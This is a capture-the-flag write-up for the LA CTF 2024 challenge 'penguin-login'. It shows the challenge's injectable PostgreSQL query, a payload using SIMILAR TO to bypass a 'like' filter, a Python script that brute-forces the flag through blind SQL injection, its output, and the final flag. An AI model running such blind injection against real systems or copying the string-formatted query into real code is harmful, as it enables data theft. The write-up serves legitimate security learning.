--- title: 'LA CTF 2024: web/penguin-login' date: 2024-02-21 tags: ['ctf', 'ctf-web', 'sql'] --- ## Task > **web/penguin-login** > > I got tired of people leaking my password from the db so I moved it out of the db. [penguin.chall.lac.tf](https://penguin.chall.lac.tf) > > `penguin-login.zip` - `Author: r2uwu2` - `Points: 392` - `Solves: 182 / 1074 (16.946%)` ## Writeup The listed website presents us with a page consisting of a single text box, with a tiled GIF of a baby penguin as the background. The source code shows us that our input must only consist of certain characters and cannot contain the word "like". ```py allowed_chars = set(string.ascii_letters + string.digits + " 'flag{a_word}'") forbidden_strs = ["like"] ... username = request.form["username"] conn = get_database_connection() assert all(c in allowed_chars for c in username), "no character for u uwu" assert all( forbidden not in username.lower() for forbidden in forbidden_strs ), "no word for u uwu" ``` If our input passes these checks, it is used in an PostgreSQL query. However, the only information we get back is whether the query had a match or not. ```py with conn.cursor() as curr: curr.execute("SELECT * FROM penguins WHERE name = '%s'" % username) result = curr.fetchall() if len(result): return "We found a penguin!!!!!", 200 return "No penguins sadg", 201 ``` Additionally, the only data in the database is as follows: ```py curr.execute("INSERT INTO penguins (name) VALUES ('peng')") curr.execute("INSERT INTO penguins (name) VALUES ('emperor')") curr.execute("INSERT INTO penguins (name) VALUES ('%s')" % (flag)) ``` We need find a way to select the flag without knowing it exactly. One way we could do this is with SQL's `LIKE` operator, which lets us match a string with `%` representing any number of characters and `_` representing a single character. The program will not allow the word `LIKE` to appear in our input though, so we need to find something else. Instead, we can use PostgreSQL's `SIMILAR TO` which also lets us use `%` and `_` in the same way. The valid character set only contains `_` though, so our input will look something like this: ``` ' OR name SIMILAR TO '_ ``` This will make the executed query: ```sql SELECT * FROM penguins WHERE name = '' OR name SIMILAR TO '_' ``` To determine the length of the flag, we can send variations of this input with different numbers of `_`s until we get a match, ignoring lengths of 4 and 7, as we know `peng` and `emperor` are in the database. We find that the flag contains 45 characters. Now, we can write a script to brute force each possible character in each position, one at a time: ```py import requests import string name = list('lactf________________________________________') # '{' and '}' also have a special meaning with SIMILAR TO, so we will omit using them # we know where '{' and '}' will appear in the flag anyways chars = list(set(string.ascii_letters + string.digits + " 'flag{a_word}'") - {'_', '{', '}'}) for i in range(6, len(name)): print(''.join(name)) for c in chars: name[i] = c req = requests.post('https://penguin.chall.lac.tf/submit', { 'username': f"' or name similar to '{''.join(name)}" }) if req.status_code == 200: break else: # nothing worked, revert this char back to a literal '_' name[i] = '_' ``` Running this script will take a while, but will eventually produce the following output: ``` lactf________________________________________ lactf_9______________________________________ lactf_90_____________________________________ lactf_90s____________________________________ lactf_90st___________________________________ lactf_90stg__________________________________ lactf_90stgr_________________________________ lactf_90stgr3________________________________ lactf_90stgr35_______________________________ lactf_90stgr35_______________________________ lactf_90stgr35_3_____________________________ lactf_90stgr35_3s____________________________ lactf_90stgr35_3s____________________________ lactf_90stgr35_3s_n__________________________ lactf_90stgr35_3s_n0_________________________ lactf_90stgr35_3s_n0t________________________ lactf_90stgr35_3s_n0t________________________ lactf_90stgr35_3s_n0t_l______________________ lactf_90stgr35_3s_n0t_l7_____________________ lactf_90stgr35_3s_n0t_l7k____________________ lactf_90stgr35_3s_n0t_l7k3___________________ lactf_90stgr35_3s_n0t_l7k3___________________ lactf_90stgr35_3s_n0t_l7k3_t_________________ lactf_90stgr35_3s_n0t_l7k3_th________________ lactf_90stgr35_3s_n0t_l7k3_th3_______________ lactf_90stgr35_3s_n0t_l7k3_th3_______________ lactf_90stgr35_3s_n0t_l7k3_th3_0_____________ lactf_90stgr35_3s_n0t_l7k3_th3_0t____________ lactf_90stgr35_3s_n0t_l7k3_th3_0th___________ lactf_90stgr35_3s_n0t_l7k3_th3_0th3__________ lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_________ lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_________ lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_d_______ lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_db______ lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_____ lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_____ lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0___ lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w__ lactf_90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0_ ``` Thus, the correct flag is `lactf{90stgr35_3s_n0t_l7k3_th3_0th3r_dbs_0w0}`. ## Reference - [PostgreSQL SIMILAR TO](https://www.postgresql.org/docs/current/functions-matching.html#FUNCTIONS-SIMILARTO-REGEXP)